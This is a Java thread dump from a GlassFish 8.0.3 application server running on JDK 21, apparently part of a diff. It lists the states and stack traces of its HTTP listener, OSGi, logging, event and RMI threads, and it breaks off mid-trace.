+"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[/app]]" #97 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Thread.sleep0(Native Method) + at java.base@21.0.11/java.lang.Thread.sleep(Thread.java:509) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1545) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"EventAdminAsyncThread #2" #109 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7fc17c15 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-11" #39 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@110747f0 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Logging pump for 'jakarta.enterprise.logging.stderr'" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ab97c79 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at app/org.glassfish.main.jul@8.0.3/org.glassfish.main.jul.handler.LogRecordBuffer.pollOrWait(LogRecordBuffer.java:155) + at app/org.glassfish.main.jul@8.0.3/org.glassfish.main.jul.handler.LoggingOutputStream$Pump.logAllPendingRecordsOrWait(LoggingOutputStream.java:197) + at app/org.glassfish.main.jul@8.0.3/org.glassfish.main.jul.handler.LoggingOutputStream$Pump.run(LoggingOutputStream.java:159) + +"http-listener-2(5)" #74 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@3f220ab9 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:532) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:520) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixStartLevel" #33 daemon [WAITING] on java.util.ArrayList@ec94fb3 + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at OSGi//org.apache.felix.framework.FrameworkStartLevelImpl.run(FrameworkStartLevelImpl.java:274) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"pool-2-thread-1" #86 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@49185301 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"DestroyJavaVM" #107 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"fileinstall-/usr/local/glassfish8/glassfish/domains/domain1/autodeploy/bundles/" #120 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Thread.sleep0(Native Method) + at java.base@21.0.11/java.lang.Thread.sleep(Thread.java:509) + at org.apache.felix.fileinstall.internal.DirectoryWatcher.run(DirectoryWatcher.java:291) + +"http-listener-2-expirer(1)" #75 daemon [TIMED_WAITING] on java.lang.Object@23104dc0 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:148) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"iiop-service-kernel(1) SelectorRunner" #91 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.11/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:540) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:520) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"admin-listener(1)" #77 daemon [WAITING] on java.lang.Object@1a63381 + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:170) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:532) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:520) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"transaction-manager" #68 daemon [WAITING] on java.util.TaskQueue@37de3435 + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at java.base@21.0.11/java.util.TimerThread.mainLoop(Timer.java:537) + at java.base@21.0.11/java.util.TimerThread.run(Timer.java:516) + +"RMI Scheduler(0)" #125 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@76acac7 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-listener-1-kernel(1) SelectorRunner" #69 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.11/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:540) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:520) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"EventAdminAsyncThread #5" #113 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7fc17c15 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"EventAdminAsyncThread #9" #123 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7fc17c15 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Logging pump for 'jakarta.enterprise.logging.stdout'" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6b33910b + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at app/org.glassfish.main.jul@8.0.3/org.glassfish.main.jul.handler.LogRecordBuffer.pollOrWait(LogRecordBuffer.java:155) + at app/org.glassfish.main.jul@8.0.3/org.glassfish.main.jul.handler.LoggingOutputStream$Pump.logAllPendingRecordsOrWait(LoggingOutputStream.java:197) + at app/org.glassfish.main.jul@8.0.3/org.glassfish.main.jul.handler.LoggingOutputStream$Pump.run(LoggingOutputStream.java:159) + +"EventAdminAsyncThread #8" #119 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7fc17c15 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"GlassFishLogHandler log pump" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1fd7c1d5 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at app/org.glassfish.main.jul@8.0.3/org.glassfish.main.jul.handler.LogRecordBuffer.pollOrWait(LogRecordBuffer.java:155) + at app/org.glassfish.main.jul@8.0.3/org.glassfish.main.jul.handler.LoggingPumpThread.publishBatchFromBuffer(LoggingPumpThread.java:79) + at app/org.glassfish.main.jul@8.0.3/org.glassfish.main.jul.handler.LoggingPumpThread.run(LoggingPumpThread.java:66) + +"EventAdminAsyncThread #4" #112 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7fc17c15 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"EventAdminAsyncThread #10" #124 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7fc17c15 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"deployment-jar-scanner" #88 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68477d84 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"EventAdminAsyncThread #6" #114 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7fc17c15 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"RMI RenewClean-[192.168.215.4:8686]" #126 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6ba31a7f + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1886) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:71) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:143) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:218) + at java.rmi@21.0.11/sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:567) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"RunLevelControllerThread-1785504717690" #50 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@5752d33f + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"events-99" #99 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@13cc1559 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"deployment-jar-scanner" #89 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68477d84 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"admin-listener(4)" #80 daemon [WAITING] on java.lang.Object@1a63381 + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at 